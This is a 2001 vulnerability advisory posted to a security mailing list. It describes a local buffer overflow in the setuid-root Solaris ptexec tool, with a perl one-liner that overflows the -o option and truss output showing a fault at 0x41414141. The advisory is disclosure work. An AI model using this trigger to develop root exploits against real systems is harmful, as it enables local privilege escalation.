Date: Thu, 21 Jun 2001 13:01:02 -0400
From: Pablo Sor <[email protected]>
To: [email protected]Subject: Solaris /opt/SUNWvts/bin/ptexec Vulnerability
Cc: [email protected]
Vulnerability in Solaris /opt/SUNWvts/bin/ptexec
Date Published: June 21, 2001
Advisory ID: N/A
Bugtraq ID: N/A
CVE CAN: Non currently assigned.
Title: Solaris /opt/SUNWvts/bin/ptexec Buffer Overflow Vulnerability
Class: Boundary Error Condition
Remotely Exploitable: No
Locally Exploitable: Yes
Vulnerability Description:
A problem with the ptexec command included in the SUNWvts package (not
included in the Solaris default instalation) installed setuid root by default,
results in a buffer overflow and potentially the execution of arbitraty code.
Due to the insufficient handling of input by the -o option of ptexec, a
buffer overflow at 400 characters makes it possible to overwrite memory space
of the running process.
Vulnerable Packages/Systems:
SunOS 5.8 SPARC (have not tested on other version)
Solution/Vendor Information/Workaround:
Sun Microsystems was notified on June 12, 2001. Patches are excepted shortly.
Credits:
This vulnerability was discovered by Pablo Sor, Buenos Aires, Argentina.
This advisory was drafted with the help of the SecurityFocus.com Vulnerability
Help Team. For more information or assistance drafting advisories please mail
[email protected].
Technical Description :
# uname -a
SunOS laika 5.8 Generic_108528-07 sun4u sparc SUNW,Ultra-5_10
# > .sunvts_sec_gss
# /opt/SUNWvts/bin/ptexec -o `perl -e 'print "A"x400'`
Segmentation Fault (core dumped)
# truss /opt/SUNWvts/bin/ptexec -o `perl -e 'print "A"x400'`
execve("/opt/SUNWvts/bin/ptexec", 0xFFBEFA44, 0xFFBEFA54) argc = 3
stat("/opt/SUNWvts/bin/ptexec", 0xFFBEF780) = 0
open("/var/ld/ld.config", O_RDONLY) Err#2 ENOENT
open("/usr/lib/librpcsvc.so.1", O_RDONLY) = 3
fstat(3, 0xFFBEF518) = 0
mmap(0x00000000, 8192, PROT_READ|PROT_EXEC, MAP_PRIVATE, 3, 0) = 0xFF3A0000
[.....]
sigprocmask(SIG_SETMASK, 0xFF23F010, 0x00000000) = 0
sigaction(SIGSEGV, 0xFFBEE388, 0x00000000) = 0
sigprocmask(SIG_SETMASK, 0xFF24ADE0, 0x00000000) = 0
setcontext(0xFFBEE248)
Incurred fault #6, FLTBOUNDS %pc = 0xFF139FF0
siginfo: SIGSEGV SEGV_MAPERR addr=0x41414141
Received signal #11, SIGSEGV [default]
siginfo: SIGSEGV SEGV_MAPERR addr=0x41414141
*** process killed ***
--
Pablo Sor
[email protected], [email protected]
